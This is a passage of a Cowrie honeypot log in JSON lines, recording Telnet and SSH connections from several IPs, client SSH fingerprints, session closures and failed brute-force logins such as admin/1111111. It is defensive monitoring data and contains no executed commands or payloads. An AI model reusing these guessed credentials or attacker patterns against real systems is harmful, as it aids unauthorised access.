{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"877267f3f8c2","protocol":"telnet","message":"New connection: 50.6.3.16:48812 (10.17.0.5:23) [session: 877267f3f8c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:51.610691Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e22a7a5acdf","protocol":"telnet","message":"New connection: 50.6.3.16:48878 (10.17.0.5:23) [session: 1e22a7a5acdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:56.382060Z"}
{"eventid":"cowrie.session.closed","duration":31.105058431625366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:19:59.753015Z","src_ip":"50.6.3.16","session":"19df649d0a8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55036,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcff8e1318e9","protocol":"telnet","message":"New connection: 50.6.3.16:55036 (10.17.0.5:23) [session: dcff8e1318e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:03.370534Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":55050,"dst_ip":"10.17.0.5","dst_port":23,"session":"de09749c7eb3","protocol":"telnet","message":"New connection: 50.6.3.16:55050 (10.17.0.5:23) [session: de09749c7eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:04.623077Z"}
{"eventid":"cowrie.session.closed","duration":30.466944694519043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:11.575437Z","src_ip":"50.6.3.16","session":"94043c3fd242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41262,"dst_ip":"10.17.0.5","dst_port":23,"session":"85a18f57c8ad","protocol":"telnet","message":"New connection: 50.6.3.16:41262 (10.17.0.5:23) [session: 85a18f57c8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:14.179319Z"}
{"eventid":"cowrie.session.closed","duration":30.495226860046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:14.812746Z","src_ip":"50.6.3.16","session":"7b0d27b9813e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89835786819458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:16.551521Z","src_ip":"50.6.3.16","session":"a8d0302d0153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.910674571990967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:18.014815Z","src_ip":"50.6.3.16","session":"1c756a24fa2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":49868,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1260df54763","protocol":"telnet","message":"New connection: 50.6.3.16:49868 (10.17.0.5:23) [session: e1260df54763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:18.754432Z"}
{"eventid":"cowrie.session.closed","duration":31.145066499710083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:22.755630Z","src_ip":"50.6.3.16","session":"877267f3f8c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067376852035522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:27.449345Z","src_ip":"50.6.3.16","session":"1e22a7a5acdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":40494,"dst_ip":"10.17.0.5","dst_port":23,"session":"a08b38507d84","protocol":"telnet","message":"New connection: 50.6.3.16:40494 (10.17.0.5:23) [session: a08b38507d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:28.295302Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":6022,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce8f60b39e14","protocol":"ssh","message":"New connection: 2.57.121.25:6022 (159.203.135.109:22) [session: ce8f60b39e14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:33.121272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:33.126060Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:33.227580Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.2867648601532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:33.657154Z","src_ip":"50.6.3.16","session":"dcff8e1318e9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"22061976","message":"login attempt [user/22061976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:33.705533Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22051995","message":"login attempt [user/22051995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:34.809492Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.108059644699097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:35.731036Z","src_ip":"50.6.3.16","session":"de09749c7eb3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"22031980","message":"login attempt [user/22031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:35.913705Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"220291","message":"login attempt [user/220291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:37.019067Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22011981","message":"login attempt [user/22011981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:38.124111Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:39.229271Z","src_ip":"2.57.121.25","session":"ce8f60b39e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00112318992615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:39.434559Z","src_ip":"38.25.25.113","session":"5d7b2e0803dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":8297,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b076ee6a00","protocol":"telnet","message":"New connection: 38.25.25.113:8297 (10.17.0.5:23) [session: e8b076ee6a00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:40.751719Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":8763,"dst_ip":"10.17.0.5","dst_port":23,"session":"16babd6167d9","protocol":"telnet","message":"New connection: 38.25.25.113:8763 (10.17.0.5:23) [session: 16babd6167d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:42.013766Z"}
{"eventid":"cowrie.session.closed","duration":120.00099062919617,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:42.315415Z","src_ip":"38.25.25.113","session":"b014d39e9960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":8760,"dst_ip":"10.17.0.5","dst_port":23,"session":"241aa8f65630","protocol":"telnet","message":"New connection: 38.25.25.113:8760 (10.17.0.5:23) [session: 241aa8f65630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:42.525370Z"}
{"eventid":"cowrie.session.closed","duration":31.334134817123413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:45.513307Z","src_ip":"50.6.3.16","session":"85a18f57c8ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00384569168091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:48.743725Z","src_ip":"38.25.25.113","session":"556dfc803901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825496435165405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:49.579798Z","src_ip":"50.6.3.16","session":"e1260df54763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":42806,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4be8f4d89c6","protocol":"telnet","message":"New connection: 50.6.3.16:42806 (10.17.0.5:23) [session: b4be8f4d89c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:50.824963Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":11692,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92a675b984d","protocol":"telnet","message":"New connection: 38.25.25.113:11692 (10.17.0.5:23) [session: e92a675b984d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:52.996744Z"}
{"eventid":"cowrie.session.closed","duration":30.410184383392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:20:58.705338Z","src_ip":"50.6.3.16","session":"a08b38507d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44980,"dst_ip":"10.17.0.5","dst_port":23,"session":"af28d7e3a0c4","protocol":"telnet","message":"New connection: 50.6.3.16:44980 (10.17.0.5:23) [session: af28d7e3a0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:10.781228Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":44448,"dst_ip":"10.17.0.5","dst_port":23,"session":"39d46273e360","protocol":"telnet","message":"New connection: 50.6.3.16:44448 (10.17.0.5:23) [session: 39d46273e360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:14.507363Z"}
{"eventid":"cowrie.session.closed","duration":30.750823736190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:21.575653Z","src_ip":"50.6.3.16","session":"b4be8f4d89c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":52588,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbedc74b3eea","protocol":"telnet","message":"New connection: 50.6.3.16:52588 (10.17.0.5:23) [session: cbedc74b3eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:33.454964Z"}
{"eventid":"cowrie.session.closed","duration":31.416863679885864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:42.197944Z","src_ip":"50.6.3.16","session":"af28d7e3a0c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.134633541107178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:21:44.641899Z","src_ip":"50.6.3.16","session":"39d46273e360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31724262237549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:03.772070Z","src_ip":"50.6.3.16","session":"cbedc74b3eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":37520,"dst_ip":"10.17.0.5","dst_port":23,"session":"b63413409dbf","protocol":"telnet","message":"New connection: 50.6.3.16:37520 (10.17.0.5:23) [session: b63413409dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:12.669718Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48992,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1c7c4bf758","protocol":"ssh","message":"New connection: 194.59.206.2:48992 (159.203.135.109:22) [session: 2c1c7c4bf758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:15.704878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:15.709799Z","src_ip":"194.59.206.2","session":"2c1c7c4bf758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:15.800818Z","src_ip":"194.59.206.2","session":"2c1c7c4bf758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:15.895625Z","src_ip":"194.59.206.2","session":"2c1c7c4bf758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":18766,"dst_ip":"159.203.135.109","dst_port":22,"session":"74f557556555","protocol":"ssh","message":"New connection: 84.239.42.8:18766 (159.203.135.109:22) [session: 74f557556555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:30.438628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:30.444963Z","src_ip":"84.239.42.8","session":"74f557556555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:30.576765Z","src_ip":"84.239.42.8","session":"74f557556555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111111","message":"login attempt [admin/1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:31.085058Z","src_ip":"84.239.42.8","session":"74f557556555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:32.216752Z","src_ip":"84.239.42.8","session":"74f557556555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":57344,"dst_ip":"10.17.0.5","dst_port":23,"session":"26a8f46b0a70","protocol":"telnet","message":"New connection: 50.6.3.16:57344 (10.17.0.5:23) [session: 26a8f46b0a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:34.961819Z"}
{"eventid":"cowrie.session.closed","duration":120.00651478767395,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:40.758124Z","src_ip":"38.25.25.113","session":"e8b076ee6a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":44275,"dst_ip":"10.17.0.5","dst_port":23,"session":"c497108f4b1f","protocol":"telnet","message":"New connection: 38.25.25.113:44275 (10.17.0.5:23) [session: c497108f4b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:41.985757Z"}
{"eventid":"cowrie.session.closed","duration":120.00148582458496,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:42.015121Z","src_ip":"38.25.25.113","session":"16babd6167d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00138187408447,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:42.526627Z","src_ip":"38.25.25.113","session":"241aa8f65630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":45206,"dst_ip":"10.17.0.5","dst_port":23,"session":"615b161134bb","protocol":"telnet","message":"New connection: 38.25.25.113:45206 (10.17.0.5:23) [session: 615b161134bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:43.739129Z"}
{"eventid":"cowrie.session.closed","duration":31.161998987197876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:43.831586Z","src_ip":"50.6.3.16","session":"b63413409dbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00318884849548,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:52.999805Z","src_ip":"38.25.25.113","session":"e92a675b984d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":48937,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcd8b4ae14a","protocol":"telnet","message":"New connection: 38.25.25.113:48937 (10.17.0.5:23) [session: ddcd8b4ae14a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:22:54.244059Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.177.223","src_port":4762,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a15ce40b51e","protocol":"ssh","message":"New connection: 51.79.177.223:4762 (10.17.0.5:22) [session: 7a15ce40b51e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:04.412535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:23:04.417422Z","src_ip":"51.79.177.223","session":"7a15ce40b51e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-s